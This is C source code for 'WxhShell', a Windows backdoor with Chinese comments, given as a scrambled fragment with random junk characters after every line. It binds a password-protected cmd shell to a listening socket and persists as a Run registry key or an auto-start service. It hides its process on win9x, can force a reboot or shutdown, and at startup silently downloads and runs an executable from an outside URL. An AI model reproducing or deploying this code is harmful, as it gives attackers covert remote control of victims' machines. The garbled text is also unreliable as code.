    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5f5`7uVJF  
    if(Boot(SHUTDOWN)) m4 (Fuu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oAx0$]+%V)  
    else { ij),DbWd  
    closesocket(wsh); Tk:y>P!%a  
    ExitThread(0); C u:-<  
    } yC5|"+ A$  
    break; EKf4f^<  
    } VQ; =-95P  
  // 获取shell re*/JkDq3K  
  case 's': { '$VR_N\  
    CmdShell(wsh); xl^'U/  
    closesocket(wsh); A.FI] K@  
    ExitThread(0); ^s*} 0  
    break; )Fw)&5B!  
  } 2 ^aTW`>L  
  // 退出 ;rKYWj>IR  
  case 'x': { 9lxT5Wg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (r4\dp&  
    CloseIt(wsh); /~[R u  
    break; ;<A/e  
    } DPOPRi~  
  // 离开 URgF8?n  
  case 'q': { G;;~xfE'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wW4S@m  
    closesocket(wsh); K;PpS*!  
    WSACleanup(); ^d*>P|n*@e  
    exit(1); 'Ot[q^,KRG  
    break; bRK9Qt#3  
        } %-Z~f~<?  
  } h~p}08  
  } Biwdb  
M6sDtL9l  
  // 提示信息 `9l\ ~t(M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v2{s2kB=  
} (T01hR&  
  } }nl)*l  
~~,<+X:  
  return; #8jd,I% L  
} Tt|6N*b'  
xF;v 6d  
// shell模块句柄 Pa +BE[z  
int CmdShell(SOCKET sock) df& |Lc1J  
{ ~x:] ch|  
STARTUPINFO si; sIsu >eL  
ZeroMemory(&si,sizeof(si)); x["  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; us%RQ8=k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I/jr` 3Mj  
PROCESS_INFORMATION ProcessInfo; KCE-6T  
char cmdline[]="cmd"; nh)R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iGLYM-  
  return 0; 5i#w:O\cz  
} ]H~,K]@.  
~+yo;[1Yc  
// 自身启动模式 V&v~kzLr+  
int StartFromService(void) {C6;$#7P  
{ ? M_SNv  
typedef struct 0K0=Ob^(e  
{ :OaQq@V  
  DWORD ExitStatus; #9VY[<  
  DWORD PebBaseAddress; +lJ]-U|P  
  DWORD AffinityMask; z,YUguc|  
  DWORD BasePriority; a&Du5(r;!  
  ULONG UniqueProcessId; agT[y/gb  
  ULONG InheritedFromUniqueProcessId; Z8 %\v(L  
}   PROCESS_BASIC_INFORMATION; q.Z#7~6`3  
B Rj KV  
PROCNTQSIP NtQueryInformationProcess; ':)j@O3-  
os^SD&hL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }AZx/[k |z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t`t:qko  
yc=#Jn?S  
  HANDLE             hProcess; -Bv1}xf=6  
  PROCESS_BASIC_INFORMATION pbi; {eN{Zh5"  
%&+R":Bw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l!V| T?  
  if(NULL == hInst ) return 0; y"p-8RVk{  
6@;L$QYY-V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wf< `J/7u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /M*\t.[ 46  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |O+>#  
7C7(bg,7^  
  if (!NtQueryInformationProcess) return 0; %aE7id>v6  
4$DliP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }6,bq`MN  
  if(!hProcess) return 0; #r^@*<{^  
(i0"hi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y1aF._Z  
A+1]Ql)$  
  CloseHandle(hProcess); :F w"u4WI  
4\SBf\ c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .O%1)p  
if(hProcess==NULL) return 0; xgqv2s>L  
bo!]  
HMODULE hMod; cc(r,ij~4  
char procName[255]; D)ne *},  
unsigned long cbNeeded; o7a6 )2JK  
b|8>eY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hB$Y4~T%  
Nw>T $RzS  
  CloseHandle(hProcess); ;n7|.O]*  
K!D!b'|bb  
if(strstr(procName,"services")) return 1; // 以服务启动 NRuG?^/}d  
dIfs 8%kl  
  return 0; // 注册表启动 s!;VUr\  
} {}J@+Zsi  
nL(%&z \4  
// 主模块 +=*m! 7Mr  
int StartWxhshell(LPSTR lpCmdLine) OQL09u  
{ Ril21o! j  
  SOCKET wsl; fov=Yd!  
BOOL val=TRUE; n:^"[Le  
  int port=0; yK%GsCJd:  
  struct sockaddr_in door; _`X#c-J  
@U /3iDB\  
  if(wscfg.ws_autoins) Install(); e=n{f*KG`  
,F`KQ )\"  
port=atoi(lpCmdLine); mQ ^ @ \s  
{Sr=SE  
if(port<=0) port=wscfg.ws_port; [ 4Y `O  
bDFCZH-:'O  
  WSADATA data; q ~Q)'*m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <` p75B  
u_6BHsU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q{l*62Bx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n:bB$Ai2  
  door.sin_family = AF_INET; [*?_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mi/ &$" =  
  door.sin_port = htons(port); u $% D9Z^  
:<t{ =0G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Z2,^5P{  
closesocket(wsl); ,na=~.0R:  
return 1; 7dlKdKH  
} GIRSoRVsh  
"'F;lzq  
  if(listen(wsl,2) == INVALID_SOCKET) { &G pA1  
closesocket(wsl); L*UV  
return 1; _Vo)<--+I  
} R*Xu( 89  
  Wxhshell(wsl); $@_<$t  
  WSACleanup(); Tbi]oB#  
CCW%G,$U9  
return 0; s,$Z ("B  
O/D Af|X|  
} 0HHui7Yy>  
Y(hW(bd;  
// 以NT服务方式启动 e'~-`Z9-)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `sk!C7%  
{ p |\%:#  
DWORD   status = 0; _}I(U?Q-C  
  DWORD   specificError = 0xfffffff; SLJ&{`"7  
Ue{vg$5||  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]3O 4\o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6Iv(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " K 8&{=  
  serviceStatus.dwWin32ExitCode     = 0; B]^>GH  
  serviceStatus.dwServiceSpecificExitCode = 0; ^s^ JzFw  
  serviceStatus.dwCheckPoint       = 0; i<4>\nc  
  serviceStatus.dwWaitHint       = 0; 9TVB<}0G  
~!nLbK2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N+CXOI=6x  
  if (hServiceStatusHandle==0) return; [F/^J|VMV  
eeW' [  
status = GetLastError(); *M> iZO*@  
  if (status!=NO_ERROR) -ajM5S=d*  
{ $nB-ADRu@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; May&@x/oMS  
    serviceStatus.dwCheckPoint       = 0; AVXX\n\_  
    serviceStatus.dwWaitHint       = 0; le7 `uz!%  
    serviceStatus.dwWin32ExitCode     = status; ,c4c@|Bh?  
    serviceStatus.dwServiceSpecificExitCode = specificError; {fog<1c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t6'61*)|0  
    return; ?mH@`c,fM  
  } uy/y wm/?=  
IK*oFo{C=K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hc-lzYS  
  serviceStatus.dwCheckPoint       = 0; 1s#yWQ   
  serviceStatus.dwWaitHint       = 0; 1&"-*)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B0f_kH~p~  
} 3g4e' ]t  
NTqo`VWe  
// 处理NT服务事件,比如:启动、停止 Zxg1M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K*_-5e  
{ ^9&b+u=X  
switch(fdwControl) n!GWqle  
{ ~O \}/I28  
case SERVICE_CONTROL_STOP: 5a'yXB}  
  serviceStatus.dwWin32ExitCode = 0; 6fh{lx>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ci;h  
  serviceStatus.dwCheckPoint   = 0; }l~]b3@qu  
  serviceStatus.dwWaitHint     = 0; Rr%tbt.sE  
  { Tdg6kkJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K!GUv{fp  
  } &k1/Z*/  
  return; F[5S(7M 7  
case SERVICE_CONTROL_PAUSE: L >SZgmV+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cL#-*_(  
  break; ^w>&?A'!  
case SERVICE_CONTROL_CONTINUE: hQXxG/yFm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7'Lp8  
  break; xJ-*%'(KZ  
case SERVICE_CONTROL_INTERROGATE: DlDB=N0@S  
  break; }d_<\  
}; .>P~uZiX!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qYx!jA]O  
} ;v_ls)_,-  
5? Wg%@  
// 标准应用程序主函数 2xDQ :=ec  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i<mevL  
{ W+8^P( K  
[a@ B =E  
// 获取操作系统版本 H.:9:I[n  
OsIsNt=GetOsVer(); F=srkw:*.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zhX;6= X2  
Mq@}snp"S  
  // 从命令行安装 S/VA~,KCe;  
  if(strpbrk(lpCmdLine,"iI")) Install(); :<|Z.4}kJb  
H<,bq*@  
  // 下载执行文件 q3+I<qsAz  
if(wscfg.ws_downexe) { pajy#0 U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?~,JY  
  WinExec(wscfg.ws_filenam,SW_HIDE); k52QaMKa~A  
} 4f!dY o4L  
bo1I&I  
if(!OsIsNt) { gGI8t@t:  
// 如果时win9x,隐藏进程并且设置为注册表启动 N`HSE=u>  
HideProc(); JA<~xo[Q9  
StartWxhshell(lpCmdLine); jn^fgH ?  
} zka?cOmYF[  
else jB!W2~Z  
  if(StartFromService()) kbhX?; <`  
  // 以服务方式启动 F$h'p4$T  
  StartServiceCtrlDispatcher(DispatchTable); Ir27ZP  
else _dr*`yXi  
  // 普通方式启动 <GaT|Hhc=  
  StartWxhshell(lpCmdLine); $T),DUYO  
V9T 4 +  
return 0; +*C^:^jA  
} vL$|9|W(  
UfKkgq#  
Y 9i][  
\i0-o8q@I  
=========================================== s`c?:  
IBET'!j4"  
4UD' %}>y  
"15=ET  
BC({ EE~R)  
4%7s259%  
" SKR;wu  
~C| ,b"  
#include <stdio.h> 3]^'  
#include <string.h> \f"1}f  
#include <windows.h> cy3M^_5B<  
#include <winsock2.h> ZMdW2_*F   
#include <winsvc.h> Dx3%K S  
#include <urlmon.h> lR@& Z6lw  
dE [Ol   
#pragma comment (lib, "Ws2_32.lib") Ea]T>4  
#pragma comment (lib, "urlmon.lib") #ZWl=z5aBi  
QKccrAo  
#define MAX_USER   100 // 最大客户端连接数 -~O/NX  
#define BUF_SOCK   200 // sock buffer 6m[9b*s7  
#define KEY_BUFF   255 // 输入 buffer }9CrFTbx;  
g$w6kz_[  
#define REBOOT     0   // 重启 El (/em  
#define SHUTDOWN   1   // 关机 Z`s!dV]e9  
9p`r7:  
#define DEF_PORT   5000 // 监听端口 {eR9 ;2!  
S}cF0B1E*  
#define REG_LEN     16   // 注册表键长度 x=Mm6}/  
#define SVC_LEN     80   // NT服务名长度 # X/Q  
_whF^g8  
// 从dll定义API _~A~+S}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _- %d9@x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4RQ5(YTTuR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p{.8_#O%S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jBpVxv  
:Jl Di>B  
// wxhshell配置信息 4ht\&2&:  
struct WSCFG { 3LW[H+k  
  int ws_port;         // 监听端口 pjN:&#Y]  
  char ws_passstr[REG_LEN]; // 口令 u D(t`W"  
  int ws_autoins;       // 安装标记, 1=yes 0=no R 1'`F{56  
  char ws_regname[REG_LEN]; // 注册表键名 GwQn;gkF  
  char ws_svcname[REG_LEN]; // 服务名 +(mL~td01  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :woa&(wN;1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tcA;#^jc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8=Q V N_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }-p,iTm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z*LiweR-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &N\[V-GP2G  
=.b Y#4  
}; Q4wc-s4RN  
oT3Y!Y3=<  
// default Wxhshell configuration 0M8.U  
struct WSCFG wscfg={DEF_PORT, \ e,?rH  
    "xuhuanlingzhe", &p"(-  
    1, Y&~M7TYb  
    "Wxhshell", gj+3y9  
    "Wxhshell", {oWsh)[x2  
            "WxhShell Service", 2jA%[L9d^  
    "Wrsky Windows CmdShell Service", (1){A8=?o  
    "Please Input Your Password: ", FT/amCRyT  
  1, s;{K!L@  
  "http://www.wrsky.com/wxhshell.exe", A}G|Yfn  
  "Wxhshell.exe" \+Y!ILOI  
    }; n )K6i7]xk  
<4mQ*6  
// 消息定义模块 DJP 6TFT&G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =!,Gst_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )^ <3\e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *^h_z;{,  
char *msg_ws_ext="\n\rExit."; @J vZ[T/  
char *msg_ws_end="\n\rQuit."; l`gTU?<xd  
char *msg_ws_boot="\n\rReboot..."; \9/1L ?@  
char *msg_ws_poff="\n\rShutdown..."; s[c^"@HT  
char *msg_ws_down="\n\rSave to "; K t `  
2 F?kjg,  
char *msg_ws_err="\n\rErr!"; F~_;o+e;X  
char *msg_ws_ok="\n\rOK!"; >o[|"oLO  
yP\Up  
char ExeFile[MAX_PATH]; nq;#_Rkr  
int nUser = 0; .ECHxDp  
HANDLE handles[MAX_USER]; k dU! kj  
int OsIsNt; C6@t  
#Lka+l;L7  
SERVICE_STATUS       serviceStatus; \*"`L3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kh?. K#  
(0jr;jv  
// 函数声明 MF.[8Zb  
int Install(void); Lko`F$5X  
int Uninstall(void); 77We;a  
int DownloadFile(char *sURL, SOCKET wsh); t ;-L{`mW  
int Boot(int flag); 0kLEBoOh  
void HideProc(void); ^M Ey,  
int GetOsVer(void); OE"<!oIs  
int Wxhshell(SOCKET wsl); <qY5SV,  
void TalkWithClient(void *cs); WE.Tuo5L  
int CmdShell(SOCKET sock); _t-7$d"  
int StartFromService(void); 6 = gp:I  
int StartWxhshell(LPSTR lpCmdLine); i\p:#'zk5  
NWKi ()nA%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D ,M@8 h,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +hH}h?K  
I; j3*lV_  
// 数据结构和表定义 0.DQO;  
SERVICE_TABLE_ENTRY DispatchTable[] = Y @}FL;3  
{ -:]@HD:  
{wscfg.ws_svcname, NTServiceMain}, L[C*@ uK  
{NULL, NULL} -g~~]K%  
}; (cs~@  
mk=#\>  
// 自我安装 3j*'HST  
int Install(void) #s+Q{2s  
{ gX*K&*q   
  char svExeFile[MAX_PATH]; .#!mDlY;  
  HKEY key; GZ3/S|SMP  
  strcpy(svExeFile,ExeFile); MY F#A  
)w"0w(   
// 如果是win9x系统,修改注册表设为自启动 ;.s: X  
if(!OsIsNt) { &jm[4'$ *z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8"M<{72U]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g rbTcLSF  
  RegCloseKey(key); n\= (S9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KXe ka  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B||c(ue  
  RegCloseKey(key); &=zU611,  
  return 0; hTw}X.<4  
    } ~zyQ('  
  } i<iXHBs  
} jG8;]XP  
else { Taasi` k  
H8i+'5x,?  
// 如果是NT以上系统,安装为系统服务 :[?!\m%0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p >aw  
if (schSCManager!=0) z%};X$V`J  
{ DHzkRCM  
  SC_HANDLE schService = CreateService XGIpUz  
  ( !K\itOEP-  
  schSCManager, t w!.%_1^  
  wscfg.ws_svcname, -S$$/sR  
  wscfg.ws_svcdisp, h5!d  
  SERVICE_ALL_ACCESS, -f.R#J$2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F< |c4  
  SERVICE_AUTO_START, K:w]> a  
  SERVICE_ERROR_NORMAL, C BlXC7_Mi  
  svExeFile, RbAt3k;y  
  NULL, ]fC7%"nB  
  NULL, q?i Cc c  
  NULL, xt))]aH  
  NULL, wlVvxX3%  
  NULL [q$e6JwAt  
  ); %EoH4LzT  
  if (schService!=0) :c<*%*e  
  { ;]@exp 5  
  CloseServiceHandle(schService); 7TdQRB  
  CloseServiceHandle(schSCManager); J@<!q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w, 7Cr  
  strcat(svExeFile,wscfg.ws_svcname); kaO{#i2-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gvo?([j-m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pK"&QPv  
  RegCloseKey(key); % $.vOFP9  
  return 0; ,D8&q?a  
    } YZ\@)D;  
  } ^S=cNSpC  
  CloseServiceHandle(schSCManager); os_WYQ4>j  
} ;NG1{]|Z  
} kF2Qv.5!  
k}<<bm*f  
return 1; [Q:f-<nH  
} u GIr&`S  
P'F~\**5  
// 自我卸载 k- vA#  
int Uninstall(void) e?1KbJ?.  
{ QES^^PQe:  
  HKEY key; @E(P9zQ/zy  
\-d '9b?  
if(!OsIsNt) { "5(W[$f*]v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gi 5XP]z  
  RegDeleteValue(key,wscfg.ws_regname); $^IjFdD  
  RegCloseKey(key); _G[6+g5|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _eh3qs:  
  RegDeleteValue(key,wscfg.ws_regname); "?[7#d])  
  RegCloseKey(key); {s9<ej~<R  
  return 0; ( QKsB3X  
  } ]f5c\\)  
} Onyh1  
} 4`6< {  
else { vuW-}fY;  
Q2FQhc@L(:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +8eVj#N  
if (schSCManager!=0) 1Df, a#,y"  
{ hWm0$v 1p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B/rzh? b  
  if (schService!=0) I[%M!_+  
  { ]h0Y8kpd  
  if(DeleteService(schService)!=0) { 2=O ))^8  
  CloseServiceHandle(schService); N-xnenci  
  CloseServiceHandle(schSCManager); m'c#uU  
  return 0; yduuFK  
  } Wy!uRzbBv  
  CloseServiceHandle(schService); ys/vI/e\  
  } 2zM-Ob<U`  
  CloseServiceHandle(schSCManager); 1S&0  
} shD+eHo$  
} Z|}H^0~7S  
AT-0}9z{  
return 1; >r~|1kQ.  
} g(1"GKg3K  
16L"^EYq  
// 从指定url下载文件 X&/(x  
int DownloadFile(char *sURL, SOCKET wsh) r<v_CFJ  
{ |K6nOX!i  
  HRESULT hr; ML"_CQlE7  
char seps[]= "/"; kF#{An)P  
char *token; y>4p~  
char *file; s *K:IgJ/  
char myURL[MAX_PATH]; [+_\z',u  
char myFILE[MAX_PATH]; !eV^Ah>PZ  
1T:)Zv'  
strcpy(myURL,sURL); OW?uZ<z  
  token=strtok(myURL,seps); `..EQ BM  
  while(token!=NULL) f]hBPkZ6  
  { 4a#B!xW  
    file=token; gNG.l  
  token=strtok(NULL,seps); 8 qn{  
  } 87R%ke  
Xad G\_?t`  
GetCurrentDirectory(MAX_PATH,myFILE); Ct-rD79l  
strcat(myFILE, "\\");  PE^eP}O1  
strcat(myFILE, file); Tq.MubaO  
  send(wsh,myFILE,strlen(myFILE),0); t$tsWAmiA[  
send(wsh,"...",3,0); u<x[5xH+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?56~yQF/2  
  if(hr==S_OK) XC :;Rq'j  
return 0; kx:c*3q.k  
else q/A/3/  
return 1; =`rppO  
!Jk(&.  
} <Sz>ZIISd  
f34_?F<h  
// 系统电源模块 cb\jrbj6  
int Boot(int flag) b0!*mrF]6  
{ @?'t@P:4  
  HANDLE hToken; Z83q-  
  TOKEN_PRIVILEGES tkp; oH!$eAU?  
f+Pg1Q0zI  
  if(OsIsNt) { 4x=V|"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x8\E~6`,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4he v ;  
    tkp.PrivilegeCount = 1; 3L'en  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AGw1Pl8]K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7}.#Z  
if(flag==REBOOT) { 9:bh3@r/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |!?2OTY  
  return 0; jydp4ek_n  
} K0d-MC   
else { 0IoXDx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :DS2zA  
  return 0; ]>]#zu$=c  
} o=mq$Z:}  
  } C:|q'"F  
  else { M=" WUe_  
if(flag==REBOOT) { qat45O4A1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U89]?^|bb  
  return 0; |G`4"``]k  
} 7I2a*4}  
else { B|Rpm^ |  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P#vv+]/  
  return 0; >/ *?4  
} T U"K#V&u  
} i_oro "%yL  
4)x3!Ol  
return 1; eR#gG^o8  
} .N-'; %8  
=jk-s*g  
// win9x进程隐藏模块 Mip m&5R  
void HideProc(void) X:xC>4]gG'  
{ 7gZVg@   
thlpj*|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e4>L@7  
  if ( hKernel != NULL ) !}Woo$#ND  
  { ]ut-wqb{p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6N)< o ;U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8JjU 9#  
    FreeLibrary(hKernel); \>aa8LOe  
  } kMJQeo79  
1 o  
return; PJSDY1T  
} ^J#*n;OQ3A  
}LHT#{+ x  
// 获取操作系统版本 K[Egwk7  
int GetOsVer(void) +hyWo]nW0  
{ *$4A|EA V  
  OSVERSIONINFO winfo; 3-_U-:2"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _($-dJ {  
  GetVersionEx(&winfo); 8 /RfNGY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dbkuh!R  
  return 1; 0Z1H6qn  
  else w ;s ]n  
  return 0; ]\os`At  
} 0]2B-o"kI  
M|Lw`?T  
// 客户端句柄模块 wk@(CKQzI,  
int Wxhshell(SOCKET wsl) ;*37ta  
{ ~\@<8@N2a6  
  SOCKET wsh; &\6`[# bT  
  struct sockaddr_in client; 3 q.[-.q  
  DWORD myID; BhE~k?$9  
faL^=CAe  
  while(nUser<MAX_USER) wTMHoU*>  
{  8H%I|fm  
  int nSize=sizeof(client); tE9_dR^K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $E9daUt8"J  
  if(wsh==INVALID_SOCKET) return 1; -Y jv&5  
hiK[!9r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (61twutC  
if(handles[nUser]==0) !ovZ>,1  
  closesocket(wsh); 5S-o 2a  
else I$6 f.W  
  nUser++; \Zz= 4 j  
  } O.up%' %,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sKG~<8M}  
O3w_vm'  
  return 0; g%q?2Nv  
} W|-N>,G  
T.m)c%]^/  
// 关闭 socket 2Fp]S a  
void CloseIt(SOCKET wsh) D'sboOY  
{ 3W0E6H"  
closesocket(wsh); 8yo6v3JqC  
nUser--; b\|p  
ExitThread(0); ^p-e  
} cmGj0YUQ1  
+ x ;ML  
// 客户端请求句柄 Sc"4%L  
void TalkWithClient(void *cs) ,, H$>r_;  
{ xP/1@6]_Je  
@01D1A  
  SOCKET wsh=(SOCKET)cs; W.6 JnYLQ&  
  char pwd[SVC_LEN]; 4ysdna\+  
  char cmd[KEY_BUFF]; 7%"\DLA  
char chr[1]; !wb~A0m  
int i,j; >LaL! PnZ  
g /@yK  
  while (nUser < MAX_USER) { -x%`Wv@L  
]E8<;t)#  
if(wscfg.ws_passstr) { 'hi\98y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =UKR<@QrK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q3O .<9S  
  //ZeroMemory(pwd,KEY_BUFF); Ho._&az9cT  
      i=0; d|?(c~  
  while(i<SVC_LEN) { UV8r&O  
1 GHgwT  
  // 设置超时 I/b8  
  fd_set FdRead; W*DIW;8p  
  struct timeval TimeOut; [11-`v0  
  FD_ZERO(&FdRead); NUnc"@  
  FD_SET(wsh,&FdRead); &MQt2aL  
  TimeOut.tv_sec=8; e%c5 OZ3~  
  TimeOut.tv_usec=0; ]GR q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DMxS-hl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "oXAIfU#T  
wukos5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pD6g+Taj  
  pwd=chr[0]; m#K%dR  
  if(chr[0]==0xd || chr[0]==0xa) { j.N\U#3KK  
  pwd=0; Vh2/Ls5  
  break; Z#t)Z "  
  } )"Br,uIv:/  
  i++; 'U{: zBh  
    } W#\};P  
Yg,lJ!q  
  // 如果是非法用户,关闭 socket }=m?gF%3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4NR5?s  
} fX$4TPy(h  
I_I;.Ik  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f=O>\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5{/Pn%5  
AG\ 852`1m  
while(1) { [%,=0P}  
_v=WjN  
  ZeroMemory(cmd,KEY_BUFF); p}|wO&4h  
:XZom+>2n  
      // 自动支持客户端 telnet标准   >8;%F<o2  
  j=0; lbU+a$  
  while(j<KEY_BUFF) { 5 ^J8<s@_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m:O2_%\l  
  cmd[j]=chr[0]; :9q^  
  if(chr[0]==0xa || chr[0]==0xd) { xWb?i6)z&  
  cmd[j]=0; 5f@YrTO[@  
  break; x2c*k$<p  
  } gL"Q.ybA  
  j++; J3S+| x h~  
    } -vfu0XI~  
s:F+bG}|  
  // 下载文件 5d{Ggg{s  
  if(strstr(cmd,"http://")) { |F {E4mg(o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <G?85*Nv_  
  if(DownloadFile(cmd,wsh)) 7:E#c"S q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2MzFSmhc"  
  else }(}vlL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yzb&   
  } 5<?$/H|7T  
